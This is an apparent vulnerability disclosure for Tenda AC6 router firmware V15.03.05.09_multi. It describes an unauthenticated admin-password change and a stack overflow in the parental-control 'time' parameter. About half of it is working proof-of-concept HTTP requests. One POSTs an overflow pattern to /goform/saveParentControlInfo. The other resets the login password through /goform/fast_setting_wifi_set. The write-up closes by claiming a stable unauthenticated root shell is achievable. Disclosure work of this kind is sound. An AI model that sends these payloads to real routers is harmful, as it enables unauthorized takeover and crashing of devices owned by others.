Tenda AC6 V15.03.05.09_multi Unauthorized stack overflow vulnerability
Overview
- Manufacturer's website information:https://www.tenda.com.cn/profile/contact.html
- Firmware download address : https://www.tenda.com.cn/download/default.html
1. Affected version
Figure 1 shows the latest firmware Ba of the router
2.Vulnerability details
2.1Arbitrary password modification vulnerability
Firstly, through reverse analysis, we can find that there is a vulnerability of arbitrary password modification in the interface.The program passes the contents obtained in the loginpwd parameter directly to V16, and then directly changes the password to the login password through the setvalue() function. In this way, we can change the management password without authorization.
2.2Stack overflow vulnerability
The content obtained by the program from the time parameter is passed to NPTR, and then the matched content is directly formatted into the S1 and S2 stacks through the regular expression of the sscanf function. There is a stack overflow vulnerability.
3.Recurring vulnerabilities and POC
In order to reproduce the vulnerability, the following steps can be followed:
- Use the fat simulation firmware V15.03.05.09_multi
- Attack with the following overflow POC attacks
POST /goform/saveParentControlInfo HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1164
Origin: http://192.168.2.1
Connection: close
Referer: http://192.168.2.1/parental_control.html?random=0.19047212713277173&
Cookie: password=7c90ed4e4d4bf1e300aa08103057ccbcfrecvb
deviceId=9c%3Afc%3Ae8%3A1a%3A33%3A80aaaabaaacaaadaa19%3A00-21%3A00&enable=1&time=19%3A00-21%3A00aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae&url_enable=1&urls=123123&day=1%2C1%2C1%2C1%2C1%2C1%2C1&limit_type=0
The reproduction results are as follows:
Figure 2 POC attack effect
3.Unauthorized password rewriting POC(The password here is changed to 123456)
POST /goform/fast_setting_wifi_set HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 116
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/index.html
ssid=Tenda_AC6_rencvn&wrlPassword=rencvn667&power=high&timeZone=%2B08%3A00&loginPwd=e10adc3949ba59abbe56e057f20f883e
Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell without authorization






